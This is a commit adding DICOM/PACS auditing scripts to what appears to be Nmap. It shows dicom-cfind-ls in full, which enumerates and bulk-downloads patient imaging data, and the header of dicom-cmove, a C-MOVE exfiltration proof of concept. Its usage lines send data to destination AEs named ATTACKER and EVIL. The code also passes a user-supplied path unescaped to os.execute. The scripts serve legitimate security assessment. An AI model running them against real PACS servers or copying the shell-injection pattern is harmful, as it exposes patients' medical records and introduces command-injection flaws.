Add DICOM auditing suite (8 NSE scripts) and expand dicom.lua into a full DIMSE toolkit (C-STORE/FIND/GET/MOVE, role negotiation, DICOM-over-TLS) [Paulino Calderon]
Some checks failed
nmap multiplatform autobuilds / build (arm64, gcc, ubuntu-latest-gcc-arm64, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, freebsd-15-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, macos-15-clang, macos-15) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, macos-26-clang, macos-26) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, netbsd-10-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, openbsd-7-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, solaris-11-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (clang, ubuntu-latest-clang, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (egcc, openbsd-7-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, freebsd-15-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, netbsd-10-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, solaris-11-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (gcc, ubuntu-latest-gcc, ubuntu-latest) (push) Has been cancelled
nmap multiplatform autobuilds / build (msvc, windows-latest-msvc, windows-latest) (push) Has been cancelled

This commit is contained in:
paulino 2026-10-03 04:41:30 +00:00
parent f23ea5ad5c
commit 527ef01bf3
11 changed files with 6357 additions and 167 deletions

800
scripts/dicom-cfind-ls.nse Normal file
View file

@ -0,0 +1,800 @@
description = [[
Lists DICOM objects stored on a PACS server using C-FIND queries at the
STUDY, SERIES, and IMAGE levels. Results are displayed hierarchically
showing patients, studies, series and (optionally) individual instances.
The script negotiates an A-ASSOCIATE with the Study Root Query/Retrieve
Information Model — FIND SOP Class and issues C-FIND-RQ at each level.
It can also retrieve (download) individual DICOM instances using C-GET
when the --script-args save option is set.
This is a read-only, non-intrusive reconnaissance script suitable for
auditing what data is accessible on a DICOM endpoint without proper
access controls.
NOTE: Many PACS servers accept C-FIND from any associated SCU with no
authentication. If the server returns results, it means patient data
is exposed to any host that can reach the DICOM port — a critical
finding for security assessments.
INSTALLATION:
This script requires the enhanced dicom.lua library.
Copy dicom.lua to your Nmap nselib/ directory:
cp dicom.lua /usr/share/nmap/nselib/dicom.lua
]]
---
-- @usage
-- nmap -p 4242 --script dicom-cfind-ls <target>
--
-- @usage
-- nmap -p 4242 --script dicom-cfind-ls \
-- --script-args 'dicom-cfind-ls.called_ae=ORTHANC,dicom-cfind-ls.calling_ae=LAUNCHER' <target>
--
-- @usage
-- nmap -p 4242 --script dicom-cfind-ls \
-- --script-args 'dicom-cfind-ls.level=SERIES,dicom-cfind-ls.max_results=50' <target>
--
-- @usage (download all matching instances to disk)
-- nmap -p 4242 --script dicom-cfind-ls \
-- --script-args 'dicom-cfind-ls.save=/tmp/dicom-dump' <target>
--
-- @args dicom-cfind-ls.called_ae Target AE Title (default: "ANY-SCP")
-- @args dicom-cfind-ls.calling_ae Our AE Title (default: "FINDSCU")
-- @args dicom-cfind-ls.level Deepest query level: PATIENT, STUDY,
-- SERIES, IMAGE (default: "IMAGE")
-- @args dicom-cfind-ls.max_results Maximum results per level (default: 100)
-- @args dicom-cfind-ls.timeout Response timeout in seconds (default: 10)
-- @args dicom-cfind-ls.max_pdu Max PDU Length in bytes (default: 16384)
-- @args dicom-cfind-ls.patient_name Filter by PatientName (wildcard *
-- allowed, default: "*")
-- @args dicom-cfind-ls.patient_id Filter by PatientID (default: all)
-- @args dicom-cfind-ls.study_date Filter by StudyDate (YYYYMMDD or range,
-- default: all)
-- @args dicom-cfind-ls.modality Filter by Modality (CT, MR, etc.,
-- default: all)
-- @args dicom-cfind-ls.save Directory to save DICOM files via C-GET
-- (default: disabled)
-- @args dicom-cfind-ls.info_model Q/R Information Model: "study" or
-- "patient" (default: "study")
-- @args dicom-cfind-ls.full Include extended return-key tags in
-- queries (StudyDate,
-- AccessionNumber, ModalitiesInStudy, etc.).
-- Some PACS servers
-- abort on unsupported tags; when set the
-- script auto-retries
-- with minimal tags on A-ABORT. Default:
-- off (lean query).
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-cfind-ls:
-- | DICOM Q/R Results (Study Root, FIND):
-- | Patients: 3 Studies: 5 Series: 12 Instances: 47
-- |
-- | [Patient] John Doe (ID: PATIENT001)
-- | [Study] 2025-01-15 - CT Abdomen (1.2.3.4.5.1)
-- | [Series] CT - 128 images (1.2.3.4.5.1.1)
-- | [Series] CT - 64 images (1.2.3.4.5.1.2)
-- | [Study] 2025-03-20 - MR Brain (1.2.3.4.5.2)
-- | [Series] MR - 256 images (1.2.3.4.5.2.1)
-- | [Patient] Jane Smith (ID: PATIENT002)
-- | [Study] 2025-02-10 - CR Chest (1.2.3.4.5.3)
-- | [Series] CR - 2 images (1.2.3.4.5.3.1)
-- |
-- | WARNING: Patient data accessible without authentication
-- |_ Saved 47 instances to /tmp/dicom-dump/
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local table = require "table"
local math = require "math"
local dicom = require "dicom"
-- Verify we have the enhanced library (not Nmap's built-in minimal version)
assert(dicom.explicit_elem,
"\n\n dicom-cfind-ls requires the enhanced dicom.lua library.\n" ..
" Copy dicom.lua to your Nmap nselib/ directory:\n" ..
" cp dicom.lua /usr/share/nmap/nselib/dicom.lua\n")
portrule = shortport.port_or_service(
{104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open")
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-cfind-ls." .. key) or default
end
-----------------------------------------------------------------------
-- C-FIND QUERY
-----------------------------------------------------------------------
--- Hex-dump helper for debug level >= 2.
local function hexdump(label, data)
if not data or #data == 0 then return end
local parts = {}
for i = 1, #data do
parts[#parts + 1] = string.format("%02X", string.byte(data, i))
if i % 32 == 0 then parts[#parts + 1] = "\n " end
end
stdnse.debug2("%s (%d bytes):\n %s", label, #data, table.concat(parts, " "))
end
--- Perform a single C-FIND association + query cycle.
-- Opens an association, sends C-FIND-RQ + dataset, collects PENDING
-- responses until SUCCESS or error, then releases.
--
-- @param host Nmap host object
-- @param port Nmap port object
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param find_sop SOP Class UID for the Q/R FIND model
-- @param query_tags List of {group, elem, vr, value} for the query dataset
-- @param level Q/R level string ("STUDY", "SERIES", "IMAGE")
-- @param max_pdu Max PDU length
-- @param timeout_s DIMSE timeout in seconds
-- @param max_results Max results to collect
-- @return ok (bool), results_or_err (list of tag tables, or error string)
local function do_cfind_once(host, port, called_ae, calling_ae, find_sop,
query_tags, level, max_pdu, timeout_s,
max_results)
-- Associate
local ok, sock, pctxs, server_max_pdu, elapsed =
dicom.do_associate(host, port, called_ae, calling_ae, {find_sop}, max_pdu,
timeout_s)
if not ok then
return false, sock
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return false, "No accepted presentation context for C-FIND"
end
-- Determine the negotiated transfer syntax for dataset encoding
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
stdnse.debug1("C-FIND: pctx_id=%d TS=%s max_pdu=%d tags=%d",
pctx_id, ts, eff_max, #query_tags)
-- Build command set (always Implicit VR LE) and dataset (negotiated TS)
local cmd_bytes = dicom.build_cfind_rq(1, find_sop)
local ds_bytes = dicom.build_cfind_dataset(level, query_tags, ts)
hexdump("C-FIND command set", cmd_bytes)
hexdump("C-FIND dataset", ds_bytes)
-- Send command + dataset via send_dimse (combines into single P-DATA-TF PDU)
ok = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
if not ok then
sock:close()
return false, "Failed to send C-FIND DIMSE message"
end
-- Collect responses
local results = {}
local count = 0
local carry = "" -- carry buffer for leftover bytes between recv_dimse calls
while true do
local pdu_type, cmd_elems, resp_ds_bytes, raw
pdu_type, cmd_elems, resp_ds_bytes, raw, carry =
dicom.recv_dimse(sock, timeout_s, carry)
if not pdu_type then
stdnse.debug1("C-FIND recv error: %s", tostring(raw))
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
stdnse.debug1("C-FIND: received A-ABORT (sent %d tags at level %s)",
#query_tags, level)
hexdump("A-ABORT PDU", raw)
sock:close()
if #results > 0 then return true, results end
return false, "A-ABORT"
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-FIND: unexpected PDU type 0x%02X", pdu_type)
break
end
-- Parse response status
local cfind_status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
cfind_status = cmd_elems["0000,0900"].value
end
if cfind_status == dicom.STATUS.PENDING
or cfind_status == dicom.STATUS.PENDING_WARN then
-- Parse dataset with negotiated transfer syntax
if #resp_ds_bytes > 0 then
local ds_elems = dicom.parse_dataset(resp_ds_bytes, ts)
if ds_elems then
results[#results + 1] = ds_elems
count = count + 1
if count >= max_results then
stdnse.debug1("C-FIND: max_results (%d) reached", max_results)
break
end
end
end
elseif cfind_status == dicom.STATUS.SUCCESS then
stdnse.debug1("C-FIND: SUCCESS — %d results", #results)
break
else
stdnse.debug1("C-FIND: status 0x%04X — stopping", cfind_status)
break
end
end
dicom.do_release(sock, 3)
return true, results
end
--- Perform a C-FIND query with automatic fallback to minimal tags.
-- If the full query gets A-ABORT, retries with just QueryRetrieveLevel +
-- PatientName (the same minimal set that DCMTK findscu uses by default).
-- This handles servers that abort on unsupported return-key tags.
--
-- @param host Nmap host object
-- @param port Nmap port object
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param find_sop SOP Class UID for the Q/R FIND model
-- @param query_tags List of {group, elem, vr, value} for the query dataset
-- @param level Q/R level string ("STUDY", "SERIES", "IMAGE")
-- @param max_pdu Max PDU length
-- @param timeout_s DIMSE timeout in seconds
-- @param max_results Max results to collect
-- @param minimal_tags Optional fallback tag list (nil = auto-generate from
-- query_tags)
-- @return ok (bool), results_or_err (list of tag tables, or error string),
-- used_fallback (bool)
local function do_cfind(host, port, called_ae, calling_ae, find_sop,
query_tags, level, max_pdu, timeout_s, max_results,
minimal_tags)
local ok, results = do_cfind_once(host, port, called_ae, calling_ae,
find_sop, query_tags, level, max_pdu, timeout_s, max_results)
if ok then
return true, results, false
end
-- If we got A-ABORT and have more than 2 tags, retry with minimal set
if results == "A-ABORT" and #query_tags > 2 then
if not minimal_tags then
-- Build minimal: keep only tags that have a non-empty filter value,
-- plus PatientName=* as a universal wildcard match key
minimal_tags = {}
for _, t in ipairs(query_tags) do
if t.value and t.value ~= "" then
minimal_tags[#minimal_tags + 1] = t
end
end
-- Ensure at least PatientName is present
local has_pn = false
for _, t in ipairs(minimal_tags) do
if t.group == 0x0010 and t.elem == 0x0010 then has_pn = true
break end
end
if not has_pn then
minimal_tags[#minimal_tags + 1] = {group=0x0010, elem=0x0010, vr="PN",
value="*"}
end
end
stdnse.debug1("C-FIND: A-ABORT with %d tags; retrying with %d minimal" ..
" tags",
#query_tags, #minimal_tags)
ok, results = do_cfind_once(host, port, called_ae, calling_ae,
find_sop, minimal_tags, level, max_pdu, timeout_s, max_results)
if ok then
return true, results, true
end
end
return false, results, false
end
-----------------------------------------------------------------------
-- C-GET RETRIEVAL
-----------------------------------------------------------------------
--- Download DICOM instances via C-GET.
-- Handles incoming C-STORE sub-operations from the SCP and saves files.
local function do_cget(host, port, called_ae, calling_ae, get_sop,
storage_sops, query_tags, level, max_pdu,
timeout_s, save_dir)
local all_sops = {get_sop}
for _, sop in ipairs(storage_sops) do
all_sops[#all_sops + 1] = sop
end
local ok, sock, pctxs, server_max_pdu, elapsed =
dicom.do_associate(host, port, called_ae, calling_ae, all_sops, max_pdu,
timeout_s)
if not ok then
return 0, 0, sock
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return 0, 0, "No accepted presentation context for C-GET"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build and send C-GET-RQ
local cmd_bytes = dicom.build_cget_rq(1, get_sop)
local ds_bytes = dicom.build_cfind_dataset(level, query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
local saved, errors = 0, 0
local carry = "" -- carry buffer for leftover bytes between recv_dimse calls
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry =
dicom.recv_dimse(sock, timeout_s, carry)
if not pdu_type then
stdnse.debug1("C-GET recv error: %s", tostring(raw))
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
stdnse.debug1("C-GET: received A-ABORT")
break
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-GET: unexpected PDU 0x%02X", pdu_type)
break
end
local cmd_field = 0
if cmd_elems and cmd_elems["0000,0100"] then
cmd_field = cmd_elems["0000,0100"].value
end
if cmd_field == dicom.COMMAND_FIELD.C_STORE_RQ then
-- Incoming C-STORE sub-operation: save file to disk
local sop_class = ""
if cmd_elems["0000,0002"] then
sop_class = tostring(cmd_elems["0000,0002"].value):gsub("%z",
""):gsub("%s+$", "")
end
local sop_instance = ""
if cmd_elems["0000,1000"] then
sop_instance = tostring(cmd_elems["0000,1000"].value):gsub("%z",
""):gsub("%s+$", "")
end
if sop_instance == "" then sop_instance = dicom.generate_fake_uid() end
local msg_id_rsp = 1
if cmd_elems["0000,0110"] then
msg_id_rsp = cmd_elems["0000,0110"].value
end
local filename = sop_instance:gsub("[^%w%.]", "_") .. ".dcm"
local filepath = save_dir:gsub("[/\\]+$", "") .. "/" .. filename
local wok, werr = dicom.write_file(filepath, resp_ds)
if wok then
saved = saved + 1
stdnse.debug1("C-GET: saved %s (%d bytes)", filename, #resp_ds)
else
errors = errors + 1
stdnse.debug1("C-GET: save failed: %s", tostring(werr))
end
-- Send C-STORE-RSP
local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class,
sop_instance)
dicom.send_dimse(sock, pctx_id, rsp_cmd, nil, eff_max)
elseif cmd_field == dicom.COMMAND_FIELD.C_GET_RSP then
local cget_status = 0xFFFF
if cmd_elems["0000,0900"] then
cget_status = cmd_elems["0000,0900"].value
end
if cget_status ~= dicom.STATUS.PENDING
and cget_status ~= dicom.STATUS.PENDING_WARN then
stdnse.debug1("C-GET: final RSP status 0x%04X", cget_status)
break
end
else
stdnse.debug1("C-GET: unknown command field 0x%04X", cmd_field)
end
end
dicom.do_release(sock, 3)
return saved, errors
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "FINDSCU")
local max_level = get_arg("level", "IMAGE"):upper()
local max_results = tonumber(get_arg("max_results", "100"))
local timeout_s = tonumber(get_arg("timeout", "10"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local pat_name = get_arg("patient_name", "*")
local pat_id = get_arg("patient_id", "")
local study_date = get_arg("study_date", "")
local modality = get_arg("modality", "")
local save_dir = get_arg("save", nil)
local info_model = get_arg("info_model", "study"):lower()
-- Select Q/R SOP Classes based on information model
local find_sop, get_sop
if info_model == "patient" then
find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_GET
else
find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_GET
end
local out = stdnse.output_table()
-- ── C-ECHO probe ─────────────────────────────────────────────────
-- Quick DIMSE connectivity check. If C-ECHO fails, C-FIND will too.
-- This distinguishes encoding/framing problems from access-control
-- restrictions (server may accept association but disallow FIND).
do
local echo_ok, echo_sock, echo_pctxs =
dicom.do_associate(host, port, called_ae, calling_ae,
{dicom.SOP_CLASS.VERIFICATION}, max_pdu, timeout_s)
if echo_ok then
local echo_pctx_id = dicom.pick_accepted_pctx(echo_pctxs)
if echo_pctx_id then
local echo_cmd = dicom.build_cecho_rq(1)
dicom.send_dimse(echo_sock, echo_pctx_id, echo_cmd, nil, max_pdu)
local pdu_type, cmd_elems = dicom.recv_dimse(echo_sock, timeout_s)
if pdu_type == dicom.PDU_CODES.DATA then
local echo_status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
echo_status = cmd_elems["0000,0900"].value
end
if echo_status == dicom.STATUS.SUCCESS then
stdnse.debug1("C-ECHO: SUCCESS — DIMSE connectivity verified")
else
stdnse.debug1("C-ECHO: unexpected status 0x%04X", echo_status)
end
elseif pdu_type == dicom.PDU_CODES.ABORT then
stdnse.debug1("C-ECHO: A-ABORT — server rejects DIMSE from %s",
calling_ae)
out["Error"] = string.format(
"C-ECHO aborted — server rejects DIMSE from calling AE '%s'. " ..
"Check server's modality configuration (AllowEcho, AllowFind).",
calling_ae)
dicom.do_release(echo_sock, 3)
return out
end
end
dicom.do_release(echo_sock, 3)
else
stdnse.debug1("C-ECHO: association failed: %s", tostring(echo_sock))
end
end
-- ── STUDY-level C-FIND ───────────────────────────────────────────
-- Core tags: always sent (match keys + essential return keys).
-- These mirror what DCMTK findscu sends and work universally.
local study_tags = {
{group=0x0010, elem=0x0010, vr="PN", value=pat_name},
-- PatientName (match)
{group=0x0010, elem=0x0020, vr="LO", value=pat_id},
-- PatientID (match/return)
{group=0x0020, elem=0x000D, vr="UI", value=""},
-- StudyInstanceUID (return)
}
-- Additional return keys: requested when user sets level or uses filters.
-- Some PACS (e.g. certain Orthanc configs) abort on unsupported tags,
-- so these are added only with the "full" flag or specific filter args,
-- and we fall back to core-only if the server aborts.
local want_extra = (get_arg("full", nil) ~= nil)
or study_date ~= ""
or modality ~= ""
if want_extra then
-- Insert before PatientName to keep ascending (group,elem) order.
-- encode_dataset sorts anyway, but helps readability.
study_tags[#study_tags + 1] = {group=0x0008, elem=0x0020, vr="DA",
value=study_date} -- StudyDate
study_tags[#study_tags + 1] = {group=0x0008, elem=0x0030, vr="TM",
value=""} -- StudyTime
study_tags[#study_tags + 1] = {group=0x0008, elem=0x0050, vr="SH",
value=""} -- AccessionNumber
study_tags[#study_tags + 1] = {group=0x0008, elem=0x0061, vr="CS",
value=modality} -- ModalitiesInStudy (0008,0061 not 0008,0060)
study_tags[#study_tags + 1] = {group=0x0008, elem=0x1030, vr="LO",
value=""} -- StudyDescription
study_tags[#study_tags + 1] = {group=0x0010, elem=0x0030, vr="DA",
value=""} -- PatientBirthDate
study_tags[#study_tags + 1] = {group=0x0010, elem=0x0040, vr="CS",
value=""} -- PatientSex
study_tags[#study_tags + 1] = {group=0x0020, elem=0x0010, vr="SH",
value=""} -- StudyID
end
local ok, studies, used_fallback = do_cfind(host, port, called_ae,
calling_ae,
find_sop, study_tags, "STUDY", max_pdu, timeout_s, max_results)
if not ok then
if studies == "A-ABORT" then
out["Error"] = string.format(
"C-FIND aborted by server (A-ABORT source=0). " ..
"C-ECHO may succeed while C-FIND is denied. " ..
"If using Orthanc, check that calling AE '%s' has AllowFind=true " ..
"in /etc/orthanc/orthanc.json DicomModalities section. " ..
"Try: calling_ae=ORTHANC or calling_ae=FINDSCU",
calling_ae)
else
out["Error"] = "C-FIND STUDY failed: " .. tostring(studies)
end
return out
end
if used_fallback then
stdnse.verbose1("C-FIND: server aborted with extended tags; used" ..
" minimal query")
end
if #studies == 0 then
out["Result"] = "No studies found (server may require specific AE title" ..
" or filter)"
return out
end
-- ── Build patient/study tree ─────────────────────────────────────
local patients = {}
local patient_order = {}
local study_count = 0
local series_count = 0
local instance_count = 0
for _, s in ipairs(studies) do
local pid = s["0010,0020"] or "UNKNOWN"
local pname = s["0010,0010"] or "UNKNOWN"
local psex = s["0010,0040"] or ""
local pdob = s["0010,0030"] or ""
local suid = s["0020,000D"] or ""
local sdate = s["0008,0020"] or ""
local stime = s["0008,0030"] or ""
local sdesc = s["0008,1030"] or ""
local smod = s["0008,0060"] or ""
local sid = s["0020,0010"] or ""
local accno = s["0008,0050"] or ""
if not patients[pid] then
patients[pid] = { name=pname, sex=psex, dob=pdob, studies={} }
patient_order[#patient_order + 1] = pid
end
patients[pid].studies[#patients[pid].studies + 1] = {
uid = suid,
date = sdate,
time = stime,
description = sdesc,
modality = smod,
study_id = sid,
accession = accno,
series = {},
}
study_count = study_count + 1
end
-- ── SERIES-level C-FIND (if requested) ───────────────────────────
if max_level == "SERIES" or max_level == "IMAGE" then
for _, pid in ipairs(patient_order) do
for _, study in ipairs(patients[pid].studies) do
if study.uid == "" then goto next_study end
local series_tags = {
{group=0x0008, elem=0x0060, vr="CS", value=""}, -- Modality
{group=0x0008, elem=0x103E, vr="LO", value=""}, -- SeriesDescription
{group=0x0020, elem=0x000D, vr="UI", value=study.uid},
-- StudyInstanceUID
{group=0x0020, elem=0x000E, vr="UI", value=""}, -- SeriesInstanceUID
{group=0x0020, elem=0x0011, vr="IS", value=""}, -- SeriesNumber
}
local sok, series_list = do_cfind(host, port, called_ae, calling_ae,
find_sop, series_tags, "SERIES",
max_pdu, timeout_s, max_results)
if sok and series_list then
for _, sr in ipairs(series_list) do
study.series[#study.series + 1] = {
uid = sr["0020,000E"] or "",
modality = sr["0008,0060"] or "",
description = sr["0008,103E"] or "",
number = sr["0020,0011"] or "",
instances = {},
num_images = 0,
}
series_count = series_count + 1
end
end
::next_study::
end
end
end
-- ── IMAGE-level C-FIND (if requested) ────────────────────────────
if max_level == "IMAGE" then
for _, pid in ipairs(patient_order) do
for _, study in ipairs(patients[pid].studies) do
for _, series in ipairs(study.series) do
if series.uid == "" then goto next_series end
local img_tags = {
{group=0x0008, elem=0x0016, vr="UI", value=""}, -- SOPClassUID
{group=0x0008, elem=0x0018, vr="UI", value=""}, -- SOPInstanceUID
{group=0x0020, elem=0x000D, vr="UI", value=study.uid},
-- StudyInstanceUID
{group=0x0020, elem=0x000E, vr="UI", value=series.uid},
-- SeriesInstanceUID
{group=0x0020, elem=0x0013, vr="IS", value=""}, -- InstanceNumber
}
local iok, imgs = do_cfind(host, port, called_ae, calling_ae,
find_sop, img_tags, "IMAGE",
max_pdu, timeout_s, max_results)
if iok and imgs then
for _, img in ipairs(imgs) do
series.instances[#series.instances + 1] = {
sop_class = img["0008,0016"] or "",
sop_instance = img["0008,0018"] or "",
number = img["0020,0013"] or "",
}
instance_count = instance_count + 1
end
series.num_images = #series.instances
end
::next_series::
end
end
end
end
-- ── C-GET DOWNLOAD (if --save) ───────────────────────────────────
local saved_total = 0
if save_dir and max_level == "IMAGE" and instance_count > 0 then
os.execute("mkdir -p " .. save_dir .. " 2>/dev/null")
os.execute("mkdir " .. save_dir .. " 2>nul")
-- Collect unique storage SOP classes
local sop_set = {}
local storage_sops = {}
for _, pid in ipairs(patient_order) do
for _, study in ipairs(patients[pid].studies) do
for _, series in ipairs(study.series) do
for _, inst in ipairs(series.instances) do
if inst.sop_class ~= "" and not sop_set[inst.sop_class] then
sop_set[inst.sop_class] = true
storage_sops[#storage_sops + 1] = inst.sop_class
end
end
end
end
end
-- Retrieve per-study via C-GET
for _, pid in ipairs(patient_order) do
for _, study in ipairs(patients[pid].studies) do
if study.uid == "" then goto next_dl_study end
local get_tags = {
{group=0x0020, elem=0x000D, vr="UI", value=study.uid},
}
local nsaved, nerrors = do_cget(host, port, called_ae, calling_ae,
get_sop, storage_sops, get_tags,
"STUDY", max_pdu, timeout_s, save_dir)
saved_total = saved_total + nsaved
if nsaved > 0 then
stdnse.verbose1("C-GET: saved %d instances for study %s", nsaved,
study.uid)
end
::next_dl_study::
end
end
end
-- ── FORMAT OUTPUT ────────────────────────────────────────────────
local model_name = info_model == "patient" and "Patient Root" or "Study Root"
out["DICOM Q/R Results"] = string.format("(%s, FIND)", model_name)
out["Patients"] = #patient_order
out["Studies"] = study_count
if series_count > 0 then out["Series"] = series_count end
if instance_count > 0 then out["Instances"] = instance_count end
local lines = {}
for _, pid in ipairs(patient_order) do
local p = patients[pid]
local pline = string.format("[Patient] %s (ID: %s)", p.name, pid)
if p.sex ~= "" then pline = pline .. " " .. p.sex end
if p.dob ~= "" then pline = pline .. " DOB:" .. p.dob end
lines[#lines + 1] = pline
for _, study in ipairs(p.studies) do
local sline = string.format(" [Study] %s",
study.date ~= "" and study.date or "no-date")
if study.description ~= "" then
sline = sline .. " - " .. study.description
end
if study.modality ~= "" then
sline = sline .. " (" .. study.modality .. ")"
end
if study.uid ~= "" then sline = sline .. " " .. study.uid end
lines[#lines + 1] = sline
for _, series in ipairs(study.series) do
local srline = string.format(" [Series] #%s %s",
series.number ~= "" and series.number or "?",
series.modality)
if series.description ~= "" then
srline = srline .. " - " .. series.description
end
if series.num_images > 0 then
srline = srline .. string.format(" (%d images)", series.num_images)
end
if series.uid ~= "" then srline = srline .. " " .. series.uid end
lines[#lines + 1] = srline
for ii, inst in ipairs(series.instances) do
if ii <= 5 then
stdnse.debug1(" [Instance] #%s %s (%s)",
tostring(inst.number), tostring(inst.sop_instance),
tostring(inst.sop_class))
elseif ii == 6 then
stdnse.debug1(" ... and %d more instances",
#series.instances - 5)
end
end
end
end
end
out["Listing"] = lines
if #patient_order > 0 then
out["WARNING"] = "Patient data accessible without authentication"
end
if saved_total > 0 then
out["Saved"] = string.format("%d instances to %s", saved_total, save_dir)
elseif save_dir and instance_count == 0 then
out["Save"] = "No instances found to download"
elseif save_dir and max_level ~= "IMAGE" then
out["Save"] = "Set level=IMAGE to enable C-GET download"
end
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end

583
scripts/dicom-cmove.nse Normal file
View file

@ -0,0 +1,583 @@
description = [[
DICOM C-MOVE redirection probe and data exfiltration proof-of-concept.
Tests whether a DICOM PACS/server will honour C-MOVE requests that redirect
patient data to an arbitrary destination AE Title. C-MOVE is an SSRF-like
primitive: the attacker tells the SCP to push images to a third-party host
(or back to the attacker) without needing the target to be in the modality
worklist. This is the most dangerous Q/R primitive because:
1. The attacker never receives data on the same association (unlike C-GET);
instead, the SCP opens a NEW association to the destination and sends
C-STORE sub-operations.
2. If the destination AE is configured in the PACS, the move succeeds
silently - the attacker can exfiltrate data to any registered node.
3. Even if the destination is unknown, the SCP may still attempt a TCP
connection to resolve it (observable as an outbound connection attempt).
The workflow:
1. (Optional) C-FIND at STUDY level to discover studies
2. C-MOVE-RQ with a configurable MoveDestination AE Title
3. Monitor C-MOVE-RSP status (PENDING progress, SUCCESS, or FAILURE)
4. Report whether the PACS accepted the move, how many sub-operations
completed/failed/warned, and any error status codes
This script does NOT set up a listener to receive the redirected images.
Use dicom-get.nse if you want to actually download data. This script's
purpose is to prove that arbitrary-destination C-MOVE is accepted.
WARNING: This is an intrusive script. A successful C-MOVE causes the target
PACS to attempt to push patient data to the specified destination. Only use
against systems for which you have explicit written authorisation.
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=ATTACKER' <target>
--
-- @usage
-- # Move a specific study to a destination AE
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.study_uid=1.2.3.4.5,dicom-cmove.dest_ae=EVIL' <target>
--
-- @usage
-- # Probe with patient root model and custom timeout
-- nmap -p 4242 --script dicom-cmove \
-- --script-args 'dicom-cmove.called_ae=ORTHANC,dicom-cmove.dest_ae=EXFIL,dicom-cmove.info_model=patient,dicom-cmove.timeout=15' <target>
--
-- @args dicom-cmove.called_ae Target AE Title (default: "ANY-SCP")
-- @args dicom-cmove.calling_ae Our AE Title (default: "NMAP-MOVE")
-- @args dicom-cmove.dest_ae MoveDestination AE Title - where to redirect
-- data (default: "YOURPACS")
-- @args dicom-cmove.study_uid Specific StudyInstanceUID to move (default:
-- discover via C-FIND)
-- @args dicom-cmove.series_uid Specific SeriesInstanceUID to move (requires
-- study_uid)
-- @args dicom-cmove.patient_name Patient name filter for C-FIND discovery
-- (default: "*")
-- @args dicom-cmove.patient_id Patient ID filter for C-FIND discovery
-- (default: "")
-- @args dicom-cmove.modality Modality filter for C-FIND discovery
-- (default: "")
-- @args dicom-cmove.level Move level: "STUDY", "SERIES", "IMAGE"
-- (default: "STUDY")
-- @args dicom-cmove.max_studies Max studies to attempt C-MOVE on (default: 1)
-- @args dicom-cmove.timeout DIMSE timeout in seconds (default: 15)
-- @args dicom-cmove.max_pdu Max PDU Length (default: 16384)
-- @args dicom-cmove.info_model Q/R information model: "study" or "patient"
-- (default: "study")
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-cmove:
-- | Target AE: ORTHANC Calling AE: NMAP-MOVE
-- | MoveDestination: ATTACKER
-- | Studies discovered: 2 (via C-FIND)
-- | C-MOVE Results:
-- | Study 1.2.826...514 - Doe^John (PT_001)
-- | Status: REFUSED (0xA801) - Move destination unknown
-- | Completed: 0 Failed: 0 Warning: 0
